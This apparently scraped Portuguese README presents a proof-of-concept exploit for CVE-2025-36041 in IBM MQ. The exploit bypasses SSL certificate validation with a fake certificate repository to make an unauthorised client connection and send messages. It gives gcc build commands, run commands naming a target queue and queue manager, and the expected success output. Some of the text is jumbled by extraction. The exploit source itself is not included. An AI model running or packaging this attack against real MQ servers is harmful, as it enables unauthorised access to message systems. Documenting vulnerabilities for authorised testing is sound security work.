
Exploit (C) da vulnerabilidade CVE-2025-36041 no IBM MQ
Este repositório contém uma prova de conceito (PoC) da exploração para CVE-2025-36041, uma vulnerabilidade no IBM MQ (Fila de Mensagens) que permite contornar a validação de certificados SSL. Ao injetar um certificado SSL falso e usar parâmetros MQCONNX personalizados, uma conexão de cliente não autorizada a um servidor IBM MQ pode ser estabelecida.
"Hello MQ") para confirmar a exploração bem-sucedida.Certifique-se de que as bibliotecas do cliente IBM MQ estão instaladas e as variáveis de ambiente (MQ_INCLUDE_PATH, ) estão configuradas adequadamente.
MQ_LIB_PATHgcc exploit.c argparse.c -o CVE-2025-36041
-I/path/to/mqm/include
-L/path/to/mqm/lib -lmqm
./CVE-2025-36041
-p /path/to/fake/ssl
-n TARGET.QUEUE.NAME
-m QM1
Parâmetros:
-p, --path Caminho para o diretório do KeyRepository SSL falso.-n, --name Nome da fila de destino para abrir e enviar mensagem.-m, --qmgr Nome do Gerenciador de Filas../CVE-2025-36041 -p ./fake_ssl_repo -n MY.QUEUE -m QM1
Se bem-sucedido, você verá:
[+] Starting connection to IBM MQ... [+] Connected successfully with fake SSL! [+] Message sent successfully!
Apenas para testes de penetração autorizados e fins educacionais. O uso não autorizado desta PoC pode violar leis e regulamentos locais. O autor não assume nenhuma responsabilidade por uso indevido.
Autor: Byte Reaper CVE: CVE-2025-36041